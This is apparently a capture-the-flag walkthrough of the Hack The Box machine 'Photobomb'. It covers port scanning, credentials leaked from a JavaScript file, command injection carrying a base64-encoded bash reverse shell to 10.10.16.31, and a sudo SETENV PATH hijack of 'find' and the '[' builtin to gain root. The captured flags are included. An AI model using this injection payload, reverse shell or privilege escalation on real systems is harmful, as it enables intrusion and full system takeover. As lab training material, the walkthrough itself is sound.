Information Gathering
| IP Address | Opening Ports |
|---|---|
| 10.10.11.182 | TCP:22,80 |
$ ip='10.10.11.182'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Photobomb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
.Js credential Leak && Command Injection
# echo '10.10.11.182 photobomb.htb' >>/etc/hosts
http://photobomb.htb/
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图](https://img.4awl.net/img/03/27da21f7908e5cc6f7cbd04ca818a8.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图")
view-source:http://photobomb.htb/photobomb.js
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图1](https://img.4awl.net/img/21/f0f44af66558da32a9662a94a46eff.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图1")
username:pH0t0
password:b0Mb!
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图2](https://img.4awl.net/img/01/f8808021fdee47859e776fc6a0ddec.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图2")
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图3](https://img.4awl.net/img/3e/58696305b86a71ce1f7a61260cf8c2.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图3")
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图4](https://img.4awl.net/img/82/7d1bc46c4f7574e3bb6005379e6868.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图4")
$ echo -n '/bin/bash -i >& /dev/tcp/10.10.16.31/443 0>&1' | base64
$ curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' -d 'photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg;rm /tmp/f;echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMxLzQ0MyAwPiYx|base64+-d|bash&dimensions=3000x2000'
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图5](https://img.4awl.net/img/be/4caa5864afc794d2c83c827eb56941.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图5")
User.txt
795c713ef76ed21f2748a1b96a83986c
Privilege Escalation:
SETENV Path Hijack (find)
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图6](https://img.4awl.net/img/86/3fd3840f2ae8c800497895cafd6fbc.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图6")
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图7](https://img.4awl.net/img/e4/df3847446a5de51bdebda2608e2641.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图7")
$ echo -e '#!/bin/bash\n/bin/bash'>/tmp/find$ chmod +x /tmp/find
sudo 默认不使用当前 PATH 变量（它使用 secure_path），当存在 SETENV 权限时，我们将可以在环境变量注入到脚本
$ sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图8](https://img.4awl.net/img/af/91a8b189075f14dacc39abb46a0044.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图8")
built-in commands hijack
$ diff /etc/bash.bashrc /opt/.bashrc
[是 bash 中的内建命令，通常用于条件测试，等价于 test 命令。这里/opt/cleanup.sh脚本执行调用/opt/.bashrc后禁用 [命令，脚本确保了 [这个命令不再作为内建命令使用
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图9](https://img.4awl.net/img/54/1ea9e3d59149132b9a4b90e9b1db6a.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图9")
即可通过劫持if语句右侧的[或者]内建命令
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图10](https://img.4awl.net/img/82/4bcbbc3865e4ec354c48078077e086.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图10")
$ echo -e '#!/bin/bash\n/bin/bash'>/tmp/[$ chmod +x /tmp/[$ sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh
![[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图11](https://img.4awl.net/img/f6/6ef27424e967df0b439697a74fd3dd.jpg "[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持插图11")
Root.txt
c25100ccbba46eaf57b57a61af95abc7
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。
本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！
程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）
